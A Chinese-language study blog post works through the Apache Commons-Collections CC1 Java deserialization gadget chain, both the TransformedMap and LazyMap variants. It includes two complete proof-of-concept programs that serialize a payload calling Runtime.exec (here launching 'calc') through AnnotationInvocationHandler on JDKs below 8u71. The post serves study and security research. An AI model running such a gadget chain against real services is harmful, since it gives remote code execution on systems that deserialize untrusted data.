拖了一个月,还是决定把Common-Collections利用链学了,毕竟是Java反序列化学习中逃不掉的一关
跟着p神的Java安全漫谈打了一段时间后也算是搞明白了,这里就来记录一下
CC1根据触发方式的不同,分为了两条链,分别是TransformedMap
与LazyMap
环境配置如下
1
2
3
4
5
|
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
|
要构建一个最简单的demo,需要用到的类与接口如下
用于修饰Map,当修饰后的Map在添加新元素时(也就是执行put
时),会执行一个回调
使用静态方法decorate
进行修饰,如下:
1
2
3
|
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
|
其中keyTransformer
与valueTransformer
分别对应处理添加的新元素的键、值的回调
Transfromer接口
一个接口,只有一个待实现方法
1
2
3
|
public interface Transformer {
public Object transform(Object input);
}
|
当被TransformedMap修饰后的Map在添加新元素时,就会调用实现实现Transformer接口的类的transform
函数,也就是上面说的回调,参数是原始对象
举个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
//TestTransformer类
public class TestTransformer implements Transformer {
@Override
public Object transform(Object input) {
System.out.println("test");
return "wuhu";
}
}
//Main
public class BaseTest {
public static void main(String[] args) throws Exception {
Map innerMap = new HashMap();
innerMap.put("1", 1);
System.out.println(innerMap);
TestTransformer testTransformer = new TestTransformer();
Map outerMap = TransformedMap.decorate(innerMap, null, testTransformer);
outerMap.put("2", 2);
System.out.println(outerMap);
}
}
|
以上的输出结果为
1
2
3
|
{1=1}
test
{1=1, 2=wuhu}
|
一个实现了Transformer接口的类,实例化时传入一个对象,并在回调transform
时返回这个对象
1
2
3
4
5
6
7
8
9
10
11
12
|
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
...
public Object transform(Object input) {
return iConstant;
}
}
|
简单来说,它的作用就是包装任意一个对象,在执行回调时返回这个对象,方便后续操作
一个实现了Transformer接口的类,从命名上就能看出点名堂,实际上它也正是反序列化能够执行恶意代码的关键
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
public class InvokerTransformer implements Transformer, Serializable {
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch ...
}
|
从源码中可看出,实例化时传入三个参数,分别是要调用的方法名、反射参数类型的数组、反射参数的数组
在transform
回调时用反射去执行传入对象的方法
一个实现了Transformer接口的类,用于将内部的多个Transformer串联在一起,前一个Transformer的回调的返回结果,作为后一个Transformer的回调的参数传入,这里用引用p神的示意图便于理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public class ChainedTransformer implements Transformer, Serializable {
/** The transformers to call in turn */
private final Transformer[] iTransformers;
...
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
|
构造demo
现在可以来构造一个简单的demo用于做一个小总结
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public class VulnTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outputMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outputMap.put("a","b");
}
}
|
当我们向修饰后的Map中加入一个新元素后,便会通过反射调用Runtime
类的exec
执行calc命令,弹出计算器,这里是用了put
函数
AnnotationInvocationHandler类
上面这个demo虽然已经实现了代码执行,但是离一个真正可用的POC还有很大的距离。在demo中,可以手动往修饰后的Map中put
元素来触发漏洞,但在实际反序列化时,需要找到一个在readObject
中有类似写入操作的类
这个类便是sun.reflect.annotation.AnnotationInvocationHandler
它的readObject
方法如下(jdk-8u71之前的代码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
Object var2 = null;
try {
var10 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var10.memberTypes();
for(Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
}
}
}
}
|
触发加入元素的操作的是最后一层判断中的var5.setValue()
函数,其中var5
即是反序列化后得到的之前经过TransformMap修饰过的Map,在遍历其中的所有元素后依次设置值,因此会触发漏洞
以下是AnnotationInvocationHandler的构造方法
1
2
3
4
5
6
7
8
9
|
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
|
我们需要在POC中将其实例化,并把之前经过修饰的Map传入,但从构造方法上可以看出这是个jdk内部类,无法通过new来实例化,因此需要用反射获取它的构造方法,将其设置为外部可见,再调用即可实例化
1
2
3
4
|
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
|
问题来了,这里实例化传入的第一个参数为什么是Retention.class
这里涉及到了注解的知识,还未补过这块的基础知识,在此先跳过,直接看p神给出的两个条件:

所以传入Retention.class
的原因是它有一个方法名为value
,因此为了满足第二个条件,在修饰Map之前,也需要放入一个key为value
的的元素
POC构造
综上,可以构造出完整的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
public class VulnTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxx");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
FileOutputStream fos = new FileOutputStream("vulnTest.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
}
|
LazyMap链
ysoserial中使用的是LazyMap而非TransformedMap来触发这条链子
LazyMap类
和TransformedMap类一样都来自CC库,但与前者在写入元素时执行transform回调不同,LazyMap是在自己的get
方法中执行transform回调,从注释中可看出,作用是在get找不到值时,会触发回调
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
但是问题在于,AnnotationInvocationHandler
的readObject
方法中没有直接调用到Map的get
方法
而是在invoke
方法中调用到了get

至于要如何触发这个invoke
方法,就需要使用到Java中的jdk动态代理机制
参考这篇文章:JAVA安全基础(三)– java动态代理机制,这里就简单讲讲
jdk动态代理
代理对象的生成由Proxy
类的newProxyInstance()
方法来完成
1
2
|
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
throws IllegalArgumentException {...}
|
可以看到需要传入三个参数,第一个是类加载器,使用默认的即可;第二个是需要代理的对象的集合;第三个是实现了InvocationHandler
接口的对象,它覆写的invoke
方法中包含了具体的代理逻辑
这里用下p神的例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
//TestInvocationHandler:实现了InvocationHandler接口的类
public class TestInvocationHandler implements InvocationHandler {
protected Map map;
public TestInvocationHandler(Map map) {
this.map = map;
}
//覆写了invoke方法,当监控到调用的方法名为get时,返回字符串"Hacked Object"
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
} else {
return method.invoke(map, args);
}
}
}
//Main
public class Main {
public static void main(String[] args) throws Exception {
//创建代理对象
InvocationHandler handler = new TestInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
|
调用了被代理的Map的get
方法后,发现输出的是字符串"Hacked Object"
回看之前使用的AnnotationInvocationHandler
类,可以发现它就是一个实现了InvocationHandler
接口的类,如果将其注入Proxy进行代理,那么在反序列化时,只需要调用任意方法,就会进入到invoke
中,进而触发LazyMap#get
,实现漏洞的利用
POC构造
在之前的POC基础之上进行修改,改用LazyMap
进行修饰,再通过反射实例化AnnotationInvocationHandler
类并传入修饰后的map,再用实例化的handler创建代理类,但不能直接对其执行序列化,这是因为反序列化入口也是在AnnotationInvocationHandler
类中,因此需要重新实例化一次并传入代理类
最终构造POC如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
public class VulnTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
FileOutputStream fos = new FileOutputStream("C:\\Users\\Yulock\\Desktop\\1.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handler);
oos.close();
}
}
|
对其进行反序列化,即可成功触发漏洞
版本问题
CC1只适用于jdk8u71以下的版本,原因是官方直接修改了AnnotationInvocationHandler
的readObject
方法,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象代为操作,因此无法再触发漏洞了
至此,除了TransformMap链的注解部分没太理解,CC1的链子大部分都理顺了